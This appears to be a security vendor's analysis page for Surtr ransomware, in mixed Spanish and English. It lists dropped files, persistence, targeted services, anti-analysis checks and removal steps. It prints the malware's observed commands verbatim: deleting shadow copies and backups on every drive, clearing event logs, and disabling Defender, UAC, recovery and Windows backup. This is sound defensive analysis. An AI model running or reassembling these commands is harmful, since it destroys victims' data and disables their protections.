Author: Khristian Joseph Morales   
 

Ransom:Win64/Surtr.MK!MTB (MICROSOFT)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Ransomware

  • Destructiveness:
    No

  • Encrypted:
    Yes

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Descargado de Internet

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 328,252 bytes
File type: EXE
Memory resident: Yes
INITIAL SAMPLES RECEIVED DATE: 06 de января de 2022
PAYLOAD: Displays message/message boxes, Disables services, Steals information, Encrypts files, Terminates processes, Connects to URLs/IPs

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • C:\ProgramData\Service\SurtrIcon.ico
  • C:\ProgramData\Service\SURTR_README.hta
  • C:\ProgramData\Service\SURTR_README.txt
  • C:\ProgramData\Service\BUs.surt
  • C:\ProgramData\Service\ID_DATA.surt
  • C:\ProgramData\Service\Private_DATA.surt
  • C:\ProgramData\Service\Public_DATA.surt
  • C:\ProgramData\Service\Service.surt
  • C:\ProgramData\Service\SurtrBackGround.jpg
  • C:\ProgramData\Service\SurtrIcon.ico
  • {Encrypted Directory}\Private_DATA.surt

Crea las siguientes copias de sí mismo en el sistema afectado:

  • C:\ProgramData\Service\Surtr.exe

Agrega los procesos siguientes:

  • %System%\cmd.exe /c echo off
  • %System%\cmd.exe /c chcp 437
  • %System%\cmd.exe /c vssadmin Delete Shadows /all /quiet
  • %System%\cmd.exe /c bcdedit /set {default} recoveryenabled No
  • %System%\cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB
  • %System%\cmd.exe /c del /s /f /q A:\*.bac A:\*.bak A:\Backup*.* A:\backup*.*
  • %System%\cmd.exe /c del /s /f /q B:\*.bac B:\*.bak B:\Backup*.* B:\backup*.*
  • %System%\cmd.exe /c del /s /f /q C:\*.bac C:\*.bak C:\Backup*.* C:\backup*.*
  • %System%\cmd.exe /c del /s /f /q D:\*.bac D:\*.bak D:\Backup*.* D:\backup*.*
  • %System%\cmd.exe /c del /s /f /q E:\*.bac E:\*.bak E:\Backup*.* E:\backup*.*
  • %System%\cmd.exe /c del /s /f /q F:\*.bac F:\*.bak F:\Backup*.* F:\backup*.*
  • %System%\cmd.exe /c del /s /f /q G:\*.bac G:\*.bak G:\Backup*.* G:\backup*.*
  • %System%\cmd.exe /c del /s /f /q H:\*.bac H:\*.bak H:\Backup*.* H:\backup*.*
  • %System%\cmd.exe /c del /s /f /q I:\*.bac I:\*.bak I:\Backup*.* I:\backup*.*
  • %System%\cmd.exe /c del /s /f /q J:\*.bac J:\*.bak J:\Backup*.* J:\backup*.*
  • %System%\cmd.exe /c del /s /f /q K:\*.bac K:\*.bak K:\Backup*.* K:\backup*.*
  • %System%\cmd.exe /c del /s /f /q L:\*.bac L:\*.bak L:\Backup*.* L:\backup*.*
  • %System%\cmd.exe /c del /s /f /q M:\*.bac M:\*.bak M:\Backup*.* M:\backup*.*
  • %System%\cmd.exe /c del /s /f /q N:\*.bac N:\*.bak N:\Backup*.* N:\backup*.*
  • %System%\cmd.exe /c del /s /f /q O:\*.bac O:\*.bak O:\Backup*.* O:\backup*.*
  • %System%\cmd.exe /c del /s /f /q P:\*.bac P:\*.bak P:\Backup*.* P:\backup*.*
  • %System%\cmd.exe /c del /s /f /q Q:\*.bac Q:\*.bak Q:\Backup*.* Q:\backup*.*
  • %System%\cmd.exe /c del /s /f /q R:\*.bac R:\*.bak R:\Backup*.* R:\backup*.*
  • %System%\cmd.exe /c del /s /f /q S:\*.bac S:\*.bak S:\Backup*.* S:\backup*.*
  • %System%\cmd.exe /c del /s /f /q T:\*.bac T:\*.bak T:\Backup*.* T:\backup*.*
  • %System%\cmd.exe /c del /s /f /q U:\*.bac U:\*.bak U:\Backup*.* U:\backup*.*
  • %System%\cmd.exe /c del /s /f /q V:\*.bac V:\*.bak V:\Backup*.* V:\backup*.*
  • %System%\cmd.exe /c del /s /f /q W:\*.bac W:\*.bak W:\Backup*.* W:\backup*.*
  • %System%\cmd.exe /c del /s /f /q X:\*.bac X:\*.bak X:\Backup*.* X:\backup*.*
  • %System%\cmd.exe /c del /s /f /q Y:\*.bac Y:\*.bak Y:\Backup*.* Y:\backup*.*
  • %System%\cmd.exe /c del /s /f /q Z:\*.bac Z:\*.bak Z:\Backup*.* Z:\backup*.*
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA/t REG_DWORD /d 0 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E}/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore /v DisableConfig/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore /v DisableSR/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup/t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
  • %System%\cmd.exe /c reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *test /t REG_SZ /d "bcdedit /deletevalue {current} safeboot" /f
  • %System%\cmd.exe /c reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce /v *execute /t REG_SZ /d "
  • %System%\cmd.exe /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surt\UserChoice/v ProgId /t REG_SZ /d surt_auto_file /f
  • %System%\cmd.exe /c reg ADD HKEY_CLASSES_ROOT\.surt /ve /t REG_SZ /d surt_auto_file /f
  • %System%\cmd.exe /c reg ADD HKEY_CLASSES_ROOT\surt_auto_file\DefaultIcon /ve /t REG_SZ /d "C:\ProgramData\Service\SurtrIcon.ico" /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr/t REG_DWORD /d 0 /f
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun/t REG_DWORD /d 0 /f
  • %System%\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
  • %System%\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
  • %System%\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
  • %System%\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
  • %System%\cmd.exe /c copy "C:\ProgramData\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
  • %System%\cmd.exe /c copy "C:\ProgramData\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
  • %System%\cmd.exe /c copy "C:\ProgramData\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
  • %System%\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
  • %System%\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
  • %System%\cmd.exe /c copy "%TEMP%\Service\Private_DATA.surt" "%USERPROFILE%\Desktop\Private_DATA.surt"
  • %System%\cmd.exe /c copy "%TEMP%\Service\ID_DATA.surt" "%USERPROFILE%\Desktop\ID_DATA.surt"
  • %System%\cmd.exe /c copy "%TEMP%\Service\SURTR_README.hta" "%USERPROFILE%\Desktop\SURTR_README.hta"
  • %System%\cmd.exe /c copy "%TEMP%\Service\Service\SURTR_README.txt" "%USERPROFILE%\Desktop\SURTR_README.txt"
  • %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
  • %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F
  • %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe/F
  • %System%\cmd.exe /c for /F "tokens=*" %s in ('wevtutil.exe el') DO wevtutil.exe cl "%s"
  • %System%\cmd.exe /c attrib +R /S "C:\ProgramData\Service"
  • %System%\cmd.exe /c attrib +R /S "%TEMP%\Service"
  • %System%\cmd.exe /c attrib +h +s C:\ProgramData\Service\SurtrBackGround.jpg
  • %System%\cmd.exe /c attrib +h C:\ProgramData\Service\SurtrIcon.ico
  • %System%\cmd.exe /c attrib +h +s "C:\ProgramData\Service\Surtr.exe"
  • %System%\cmd.exe /c attrib +h +s "%TEMP%\Service\Surtr.exe"
  • %System%\cmd.exe /c attrib +h +s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Surtr.exe"
  • %System%\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
  • %System%\cmd.exe /c mshta C:\ProgramData\Service\SURTR_README.hta
  • %System%\cmd.exe /c start C:\ProgramData\Service\SURTR_README.txt
  • %System%\cmd.exe /c shutdown -r -f

(Nota: %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).

)

Crea las carpetas siguientes:

  • C:\ProgramData\Service
  • %temp%\Service\

Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:

  • SurtrMUTEX

Finalización del proceso

Finaliza los servicios siguientes si los detecta en el sistema afectado:

  • Acronis VSS Provider
  • Enterprise Client Service
  • Sophos Agent
  • Sophos AutoUpdate Service
  • Sophos Clean Service
  • Sophos Device Control Service
  • Sophos File Scanner Service
  • Sophos Health Service
  • Sophos MCS Agent
  • Sophos MCS Client
  • Sophos Message Router
  • Sophos Safestore Service
  • Sophos System Protection Service
  • Sophos Web Control Service
  • SQLsafe Backup Service
  • SQLsafe Filter Service
  • Symantec System Recovery
  • Veeam Backup Catalog Data Service
  • AcronisAgent
  • AcrSch2Svc
  • Antivirus
  • BackupExecJobEngine
  • BackupExecManagementService
  • BackupExecRPCService
  • BackupExecVSSProvider
  • EPSecurityService
  • IISAdmin
  • IMAP4Svc
  • macmnsvc
  • masvc
  • MBAMService
  • MBEndpointAgent
  • McAfeeEngineService
  • McAfeeFramework
  • McAfeeFrameworkMcAfeeFramework
  • McShield
  • mfemms
  • mfevtp
  • MMS
  • mozyprobackup
  • MsDtsServer
  • MsDtsServer100
  • MsDtsServer110
  • MSExchangeES
  • MSExchangeIS
  • MSExchangeMGMT
  • MSExchangeMTA
  • MSExchangeSA
  • MSExchangeSRS
  • MSOLAP$SQL_2008
  • MSOLAP$SYSTEM_BGC
  • MSOLAP$TPS
  • MSOLAP$TPSAMA
  • MSSQL$BKUPEXEC
  • MSSQL$ECWDB2
  • MSSQL$PRACTICEMGT
  • MSSQL$PRACTTICEBGC
  • MSSQL$PROFXENGAGEMENT
  • MSSQL$SBSMONITORING
  • MSSQL$SHAREPOINT
  • MSSQL$SQL_2008
  • MSSQL$SYSTEM_BGC
  • MSSQL$TPS
  • MSSQL$TPSAMA
  • MSSQL$VEEAMSQL2008R2
  • MSSQL$VEEAMSQL2012
  • MSSQLFDLauncher
  • MSSQLFDLauncher$PROFXENGAGEMENT
  • MSSQLFDLauncher$SBSMONITORING
  • MSSQLFDLauncher$SHAREPOINT
  • MSSQLFDLauncher$SQL_2008
  • MSSQLFDLauncher$SYSTEM_BGC
  • MSSQLFDLauncher$TPS
  • MSSQLFDLauncher$TPSAMA
  • MSSQLSERVER
  • MSSQLServerADHelper100
  • MSSQLServerOLAPService
  • MySQL80
  • MySQL57
  • OracleClientCache80
  • PDVFSService
  • POP3Svc
  • ReportServer
  • ReportServer$SQL_2008
  • ReportServer$SYSTEM_BGC
  • ReportServer$TPS
  • ReportServer$TPSAMA
  • RESvc
  • sacsvr
  • SamSs
  • SAVAdminService
  • SAVService
  • Smcinst
  • SmcService
  • SMTPSvc
  • SNAC
  • SntpService
  • sophossps
  • SQLAgent$BKUPEXEC
  • SQLAgent$ECWDB2
  • SQLAgent$PRACTTICEBGC
  • SQLAgent$PRACTTICEMGT
  • SQLAgent$PROFXENGAGEMENT
  • SQLAgent$SBSMONITORING
  • SQLAgent$SHAREPOINT
  • SQLAgent$SQL_2008
  • SQLAgent$SYSTEM_BGC
  • SQLAgent$TPS
  • SQLAgent$TPSAMA
  • SQLAgent$VEEAMSQL2008R2
  • SQLAgent$VEEAMSQL2012
  • SQLBrowser
  • SQLSafeOLRService
  • SQLSERVERAGENT
  • SQLTELEMETRY
  • SQLTELEMETRY$ECWDB2
  • SQLWriter
  • SstpSvc
  • svcGenericHost
  • tmlisten
  • TrueKey
  • UI0Detect
  • VeeamBackupSvc
  • VeeamBrokerSvc
  • VeeamCatalogSvc
  • VeeamCloudSvc
  • VeeamDeploymentService
  • VeeamDeploySvc
  • VeeamEnterpriseManagerSvc
  • VeeamMountSvc
  • VeeamNFSSvc
  • VeeamRESTSvc
  • VeeamTransportSvc
  • W3Svc
  • wbengine
  • WRSVC
  • MSSQL$VEEAMSQL2008R2
  • SQLAgent$VEEAMSQL2008R2
  • VeeamHvIntegrationSvc
  • swi_update
  • SQLAgent$CXDB
  • SQLAgent$CITRIX_METAFRAME
  • SQLBackups
  • MSSQL$PROD
  • Zoolz2Service
  • MSSQLServerADHelper
  • SQLAgent$PROD
  • msftesql$PROD
  • NetMsmqActivator
  • EhttpSrv
  • ekrn
  • ESHASRV
  • MSSQL$SOPHOS
  • SQLAgent$SOPHOS
  • AVP
  • klnagent
  • MSSQL$SQLEXPRESS
  • SQLAgent$SQLEXPRESS
  • wbengine
  • HvHost
  • vmickvpexchange
  • vmicguestinterface
  • vmicshutdown
  • vmicheartbeat
  • vmcompute
  • vmicvmsession
  • vmicrdv
  • vmictimesync
  • vmicvss
  • VMAuthdService
  • VMnetDHCP
  • VMwareNATService
  • VMUSBArbService
  • VMwareHostd
  • Sense
  • WdNisSvc
  • WinDefend

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

  • MMS.EXE
  • SCHEDUL12.EXE
  • SCHEDHELP.EXE
  • TIB_MOUNTER_MONITOR.EXE
  • SQLIOSIM.EXE
  • SQLAGENT.EXE
  • SQLMAINT.EXE
  • SQLSTUBSS.EXE
  • CSRSS.EXE
  • SQLCEIP.EXE
  • MSTSC.EXE
  • TASKMGR.EXE
  • SQLSERVR.EXE
  • QBIDPSERVICE.EXE
  • SQLSERVER.EXE
  • MSFTESQL.EXE
  • SQLBROWSER.EXE
  • SQLWRITER.EXE
  • ORACLE.EXE
  • OCSSD.EXE
  • DBSNMP.EXE
  • SYNCTIME.EXE
  • MYDESKTOPQOS.EXE
  • AGNTSVC.EXE
  • ISQLPPLUSSVC.EXE
  • ISQLPUSSVS.EXE
  • XFSSVCCON.EXE
  • MYDESKTOPSERVICE.EXE
  • OCAUTOUPDS.EXE
  • ENCSVC.EXE
  • TBIRDCONFIG.EXE
  • OCOMM.EXE
  • MYSQLD.EXE
  • MYSQLD-NT.EXE
  • MYSQLD-OPT.EXE
  • DBENG50.EXE
  • SQBCORESERVICE.EXE
  • EXCEL.EXE
  • INFOPATH.EXE
  • MSACCESS.EXE
  • MSPUB.EXE
  • ONENOTE.EXE
  • OUTLOOK.EXE
  • POWERPNT.EXE
  • STREAM.EXE
  • THEBAT.EXE
  • THEBAT64.EXE
  • THUNDERBIRD.EXE
  • VISIO.EXE
  • WINWORD.EXE
  • WORDPAD.EXE
  • NOTEPAD.EXE
  • PAINT.EXE
  • NOTEPAD++.EXE
  • ENDNOTE.EXE
  • VMWAREUSER.EXE
  • VMWARESERVICE.EXE
  • VBOXSERVICE.EXE
  • VBOXTRAY.EXE
  • SANDBIXIEDCOMLAUNCH.EXE
  • VMTOOLSD.EXE
  • NTOSKRNL.EXE
  • CBSERVICE.EXE
  • HTTPD.EXE
  • JAVAW.EXE
  • JAVA.EXE
  • IPTRAY.EXE
  • IPERIUS.EXE
  • FILEZILLA.EXE
  • DATACOLLECTORSVC.EXE
  • EDGETRANSPORT.EXE
  • ACROTRAY.EXE
  • AGENT.EXE
  • SAGECSCLIENT.EXE
  • WSUSSERVICE.EXE
  • SLACK.EXE
  • NODE.EXE
  • W3WP.EXE
  • MYSQL.EXE
  • MSMDSRV.EXE
  • MSDTSSRVR.EXE
  • FDLAUNCHER.EXE
  • FDHOST.EXE
  • SSMS.EXE
  • REPORTINGSERVICESSERVICE.EXE
  • DATACOLLECT.EXE
  • SAGE.NA.AT_AU.SERVICE.EXE
  • SAGE.NA.AT_AU.SYSTRAY.EXE

Robo de información

Recopila los siguientes datos:

  • Generated ID
  • OS
  • Disk Space
  • Username
  • Hostname
  • Surtr version
  • Infected datetime
  • keyboard
  • Private key
  • Filecount
  • Encryption status

Otros detalles

Hace lo siguiente:

  • Display The following Message box and terminate itself if the following condition is met:
    • if Sandbox\Debugger is present:
      • Message box title: SurtrRansomware
      • Message box content : WARNING. SandBox/Debugger Detected !!!
    • if executed in the following country :
      • Iran
      • Russia
      • Ukraine
      • Armenia
      • Azerbaijan
      • Turkmenistan
      • Turkey
      • Georgia
      • Kazakhstan
      • Tajikistan
      • Uzbekistan
        • Message box title: SurtrRansomware
        • Message box content : WARNING. Surtr does not run in this country, if you do it again you will be banned.
    • if the following process is running :
      • WIRESHARK.EXE
      • LORDPE.EXE
      • PROCMON64.EXE
      • PROCMON.EXE
      • DIE.EXE
      • XNTSV64.EXE
      • XOCALC.EXE
      • XVLK.EXE
      • NFD.EXE
      • PROCESSHACKER.EXE
      • PDBRIPPER.EXE
      • IDA64.EXE
      • IDA.EXE
      • IMMUNITYDEBUGGER.EXE
      • GHIDRA.EXE
      • X32DBG.EXE
      • X64DBG.EXE
      • OLLYDBG.EXE
        • Message box title: SurtrRansomware
        • Message box content : Analyzer Proccess Detected !!!
    • if the config is bad
      • Message box title: SurtrRansomware
      • Message box content : WARNING. Bad Config.
  • Display The following Message box after encryption
    • Message box title: SurtrRansomware
    • Message box content : Encryption Complete.
  • It enumerates and clear logs via wevtutil
  • It encrypts files found in the following drives:
    • Removable Drive
    • Fixed Drive
    • Network Drive
    • RAM Disks
  • It sends the gathered information to the following URL:
    • {BLOCKED}6mle3zxux6vpftyuezxhmad.onion.pe
    • {BLOCKED}6vq3jo6mle3zxux6vpftyuezxhmad.onion.ly
  • It restarts the affected machine after encrypting
  • It changes the desktop wallpaper

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 17.326.06
First VSAPI Pattern Release Date: 19 de января de 2022
VSAPI OPR PATTERN-VERSION: 17.327.00
VSAPI OPR PATTERN DATE: 20 de января de 2022

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Reiniciar en modo seguro

[ learnMore ]

Step 5

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: svchos1

    • Task to be run: C:\ProgramData\Service\Surtr.exe
  • Task Name: svchos2

    • Task to be run: C:\ProgramData\Service\Surtr.exe
  • Task Name: exp

    • Task to be run: C:\Windows\explorer.exe

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 6

Eliminar este valor del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

 
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
    • svchos1 = C:\ProgramData\Service\Surtr.exe
  • In HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
    • svchos2 = C:\ProgramData\Service\Surtr.exe
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\
    • svchos3 = C:\ProgramData\Service\Surtr.exe
  • In HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\
    • svchos4 = C:\ProgramData\Service\Surtr.exe
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • EnableLUA = 0
